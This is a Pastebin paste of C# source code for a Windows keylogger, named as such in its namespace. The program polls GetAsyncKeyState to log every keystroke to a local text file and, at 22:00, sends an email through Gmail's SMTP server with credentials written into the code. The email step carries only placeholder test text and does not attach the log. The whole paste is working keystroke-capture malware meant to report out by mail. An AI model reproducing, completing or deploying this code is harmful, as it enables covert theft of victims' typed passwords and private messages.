Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.IO;
- using System.Net.Mail;
- namespace Keylogger
- {
- class Program
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- LogKeys();
- }
- static void LogKeys()
- {
- String path = (@"C:\Users\juanp\KeyLog.text");
- if (!File.Exists(path))
- {
- using (StreamWriter sw = File.CreateText(path))
- {
- }
- }
- KeysConverter converter = new KeysConverter();
- String text = "";
- while (true)
- {
- if(DateTime.Now.Hour == 22){
- MailMessage mail = new MailMessage("you@gmail.com", "user@gmail.com");
- SmtpClient client = new SmtpClient();
- client.Port = 587;
- client.DeliveryMethod = SmtpDeliveryMethod.Network;
- //Correo necesario para enviar.
- client.Credentials = new System.Net.NetworkCredential("user@gmail.com","password");*
- client.Host = "smtp.gmail.com";
- mail.Subject = "this is a test email.";
- mail.Body = "this is my test email body";
- client.Send(mail);
- }
- Thread.Sleep(10);
- for (Int32 i = 0; i < 255; i++)
- {
- int key = GetAsyncKeyState(i);
- if (key == 1 || key == -32767)
- {
- text = converter.ConvertToString(i);
- using (StreamWriter sw = File.AppendText(path))
- {
- sw.WriteLine(text);
- }
- break;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement